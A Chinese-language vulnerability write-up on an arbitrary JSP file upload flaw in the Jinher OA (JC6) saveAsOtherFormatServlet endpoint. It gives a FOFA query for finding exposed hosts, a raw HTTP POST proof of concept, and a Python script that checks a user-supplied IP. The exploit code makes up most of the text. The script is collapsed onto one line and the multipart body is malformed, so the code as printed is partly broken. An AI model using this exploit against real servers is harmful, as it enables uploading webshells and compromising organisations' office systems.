金和OA saveAsOtherFormatServlet接口任意文件上传漏洞

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

1. 产品简介

金和数字化智能办公平台(简称JC6)是一款结合了人工智能技术的数字化办公平台,为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准,支持组织数字化转型,实现业务流程的数字化、智能化和协同化,提高企业竞争力。

2.漏洞描述

金和OA协同办公管理系统在saveAsOtherFormatServlet接口存在任意文件上传漏洞,攻击者可以上传jsp文件,也可以上传木马,容易造成严重的影响。

3.fofa查询语句

app="金和网络-金和OA"

 4.漏洞复现

poc

POST /jc6/servlet/saveAsOtherFormatServlet?fileName=tteesstt.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Length: 207
Content-Type: multipart/form-data; boundary=74f0dc3df975274386a11be68cacc0e5--74f0dc3df975274386a11be68cacc0e5
Content-Disposition: form-data; name="FileBlod"; filename="tteesstt.jsp"
Content-Type: image/png<% out.println("tteesstt2");%>
--74f0dc3df975274386a11be68cacc0e5--

上传后,拼接上传文件的地址:https://xxxxx/jc6/upload/gwzw/tteesstt.jsp

5.poc.py

import requestsdef verify(ip):url = f'{ip}/jc6/servlet/saveAsOtherFormatServlet?fileName=tteesstt.jsp'headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)','Accept-Encoding': 'gzip, deflate','Connection': 'close','Upgrade - Insecure - Requests': '1','Content-Length': '207','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Content-Type': 'multipart/form-data; boundary=74f0dc3df975274386a11be68cacc0e5'}payload = '''--74f0dc3df975274386a11be68cacc0e5Content-Disposition: form-data; name="FileBlod"; filename="tteesstt.jsp"Content-Type: image/png'''try:response = requests.post(url, headers=headers, data=payload,verify=False)# 验证成功输出相关信息if response.status_code == 200 :print(f"{ip}存在金和OA saveAsOtherFormatServlet接口任意文件上传漏洞!!!")except Exception as e:passif __name__ == '__main__':self = input('请输入目标主机IP地址:')verify(self)

6.整改意见

请联系厂家 http://www.jinher.com/升级